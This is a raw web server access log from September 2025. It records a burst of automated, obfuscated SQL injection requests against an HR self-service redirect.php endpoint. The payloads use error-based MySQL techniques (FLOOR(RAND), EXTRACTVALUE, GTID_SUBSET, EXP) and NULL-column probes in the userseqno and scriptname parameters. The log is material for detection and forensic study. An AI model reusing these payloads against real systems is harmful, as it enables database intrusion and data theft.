100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x58417269%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x31416f62%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2FjvC1 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x58417269%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x31416f62%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2FjvC1 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x50644e74%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x70384452%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FDGLn HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x50644e74%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x70384452%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FDGLn HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x32316870%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d714f31%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2FJPiy HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x32316870%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d714f31%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2FJPiy HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x456d514d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x75494132%29%29%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x456d514d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x75494132%29%29%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x61626e4e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x78636f72%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F2I73 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x61626e4e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x78636f72%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F2I73 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4a30436d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x68504b53%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2FFU7R HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4a30436d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x68504b53%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2FFU7R HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x7378324e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a73716b%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2Fe3Hx HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x7378324e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a73716b%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2Fe3Hx HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x476c556d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x545a704a%29%2C6420%29--%2F%2A%2A%2Fcewv HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x476c556d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x545a704a%29%2C6420%29--%2F%2A%2A%2Fcewv HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x33456679%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x76543968%29%2C6420%29--%2F%2A%2A%2FQiZ9 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x33456679%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x76543968%29%2C6420%29--%2F%2A%2A%2FQiZ9 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x78464a30%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x65427456%29%29--%2F%2A%2A%2FUatv HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x78464a30%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x65427456%29%29--%2F%2A%2A%2FUatv HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x556e416b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x434f7270%29%29%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F1EFL%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x71546e77%2C%28NULL%29%2C0x69713351%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2Fve1X%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x71546e77%2C%28NULL%29%2C0x69713351%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2Fve1X%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x706f5a46%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x48466545%29%29--%2F%2A%2A%2FqAWG HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x706f5a46%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x48466545%29%29--%2F%2A%2A%2FqAWG HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6b566667%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x32455472%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FZm6g%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x63334f67%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x776d4446%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x71546e77%2C%28NULL%29%2C0x69713351%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2Fve1X%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x35577036%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x55586973%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2FUicX&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x35577036%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x55586973%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2FUicX&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x52585970%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6c554b59%29%29x%29%29--%2F%2A%2A%2FiFQg&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x52585970%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6c554b59%29%29x%29%29--%2F%2A%2A%2FiFQg&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x574d4a47%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x48315334%29%29x%29%29--%2F%2A%2A%2FZpzo&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x574d4a47%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x48315334%29%29x%29%29--%2F%2A%2A%2FZpzo&userseqno=47810 HTTP/1.1" 302 -
